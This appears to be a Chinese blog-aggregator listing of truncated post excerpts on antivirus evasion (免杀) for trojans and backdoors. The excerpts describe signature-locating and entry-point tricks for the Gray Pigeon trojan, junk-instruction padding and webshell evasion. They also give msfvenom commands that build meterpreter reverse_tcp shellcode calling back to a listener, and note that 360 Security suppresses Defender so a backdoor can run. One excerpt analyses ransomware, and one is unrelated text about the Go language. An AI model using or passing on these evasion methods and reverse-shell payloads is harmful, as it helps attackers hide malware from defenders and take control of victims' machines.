一： 灰鸽子免杀方法大全 在所有的版本中，黑防的鸽子算是比较好做免杀的了，今天在这里，我就用他做案例 一，最经典的OD一半一半定位法 我们把整个黑色标记的区域看成是没有修改的木马代码把它从中间切平均分成两半，把其中的一半用nop 填充掉，再用瑞星杀内存，如果杀掉了就说明特征代码在我们没有nop 掉的一半，没有杀到就说明我们刚刚nop的一半中含有特征代码。 所演示的情况是特征代码在没有no
转载
精选
2009-07-15 21:36:01
7806阅读
近日，fortinet截获一种使用python语言编写的勒索软件，并将其命名为 “Fsociety Locker”。之所以命名为“Fsociety Locker”，是因为勒索软件作者是美剧“黑客军团”的粉丝，勒索软件作者使用了“fs0ciety”作为文件加密后的后缀名。 今天我们就对这款勒索软件进行分析。行为特征在win7系统上运行的效果为：1.png (33.05 KB, 下载次数: 99)20
经测试，这种方式无法攻击windows10，因为它有defender，我们一旦运行起来，defender就会/x/meterpreter/reverse_tcp LPORT=13338 LHOST=192....
原创
2022-02-28 11:07:56
351阅读
经测试，这种方式无法攻击windows10，因为它有defender，我们一旦运行起来，defender就会把它干死不过，在电脑上装了360安全卫士的情况下，defender会被抑制，我们的后门就可以正常运行了先使用msfvenom生成shellcodemsfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=13338 LHOST=192....
原创
2021-06-29 11:08:00
1086阅读
干货|免杀-C加载器免杀尝试哆啦安全|知识星球上线啦(优惠券活动即将到期)！！！微信公众号
原创
2021-12-14 09:21:43
933阅读
通过代码直接调用System.Management，替代powershell.exe c#代码，保存为1.cs： using System.Collections.ObjectModel; using System.Management.Automation; using System.Manage ...
转载
2021-07-17 23:39:00
1712阅读
2评论
生成shellcodemsfvenom -p python/meterpreter/reverse_tcp lhost=192.168.137.44 lport=4444 -f raw -o shell.py环境准备(1)安装Python 2.7 x86 windows版：https://www.python.org/ftp/python/2.7.16/python-2.7.16.msiPS:必须
转载
2021-05-17 10:32:50
519阅读
(一)、免杀应注意的事项: 1.免杀的测试(在线杀毒、杀毒软件上报、世界反毒网:http://www.virustotal.com/zh-cn/) 在这里我建议大家不要上传自己的马到这样的网站上去.一上传不要多久就会被杀了.大家还是把杀软装在自己的电脑，然后测试比较好. 2.一个好的免杀木马要过文件、内存、行为、主动防御等一些专杀软件. 3.目前一些常用的杀软有
原创
2009-07-25 22:12:58
2366阅读
2评论
一.关于免杀的来源 为了让我们的木马在各种杀毒软件的威胁下活的更久. 二.什么叫免杀和查杀 可分为二类: 1.文件免杀和查杀:不运行程序用杀毒软件进行对该程序的扫描，所得结果。 2.内存的免杀和查杀:判断的方法1运行后,用杀毒软件的内存查杀功能. 2用OD载入,
一.关于免杀的来源
为了让我们的木马在各种杀毒软件的威胁下活的更久.
二.什么叫免杀和查杀
可分为二类:
1.文件免杀和查杀:
转载
2010-02-13 02:48:28
731阅读
webshell免杀php 免杀jsp 免杀https://xz.aliyun.com/t/10937https://xz.aliyun.com/t/10989php 免杀传统php免杀变形
原创
2022-04-29 21:48:25
107阅读
一、免杀的基本定义免杀技术全称为反杀毒技术（Anti Anti-Virus），简称"免杀"，指的是一种能使病毒木马免于被杀毒软件查杀的技术。从字面翻译来看，"免杀"即"反-反病毒"，是病毒木马与杀毒软件之间的一场技术对抗。二、杀毒软件的检测原理要理解免杀原理，首先需要了解杀毒软件的检测机制：基于特征码的静态扫描技术杀毒软件拥有庞大的病毒库，其中存储了各种病毒的特征码（一段或多段二进制数据）特征码是
源码免杀C++基础
都一样 正常安装就行
有的是这个版本
这三个解压到 覆盖
因为之前安装过了 就看下路径吧
最后 提一下Assist 安装需要 进入那个vc98 目录去 安装破解
如果缺dll 那就下一个加载就ok
原创
2021-08-16 09:43:41
997阅读
一.入口点加1免杀法: 1.用到工具:PEditor 2.特点:非常简单实用,但有时还会被卡巴查杀. 3.操作要点:用PEditor打开无壳木马程序,把原入口点加1即可. 二.变化入口地址免杀法: 1.用到工具:OllyDbg,PEditor 2.特点:操作也比较容易,而且免杀效果比入口点加1点要佳. 3.操作要点:用OD载入无壳的木马程序,把入口点的前二句移到零区域去执行,然后 又跳回
转载
精选
2009-10-15 10:19:17
1074阅读
测试-免杀专题KaliLinux——shellcode-payload分离免杀反安全软件 anti-virus security software都是特别针对PE头文件的查杀当payload文件越
原创
2022-04-29 21:48:26
318阅读
Go语言的生日12年前的“今天”→ 2009.11.10，Go 语言以开源方式向全球发布！简介Go 语言又称 Golang，是谷歌（Google）开发的一种静态强类型、编译型、并发型，并具有垃圾回收功能的编程语言。Go语言有时被描述为“C 类似语言”，或者是“21 世纪的C语言”。Go从C语言继承了相似的表达式语法、控制流结构、基础数据类型、调用参数传值、指针等很多思想，还有C语言一直所看中的编译
今天有一点想你，其实，不止一点，其实，不止今天。。。----网易云热评一、简介快速生成免杀exe可执行文件，目前拥有三种免杀的方法二、下载及安装1、下载到本地git clonehttps://github.com/lengjibo/FourEye.git2、进入该文件夹cd FourEye3、安装需要的python库pip install -r requirements.txt
原创
2022-12-27 14:26:13
876阅读
今天送上经典花指令
注:编写花指令,可参考以下成双指令,可任意自由组合.达到免杀效果. push ebp pop ebp push eax pop eax push esp pop esp push 0 push 0 push 10 -------其中数字可以任意,注意与下面对应 push -10 nop -----------可任意在中间添加 与它等效的: mov EDI,EDIadd esp
原创
2010-09-30 13:23:52
2260阅读
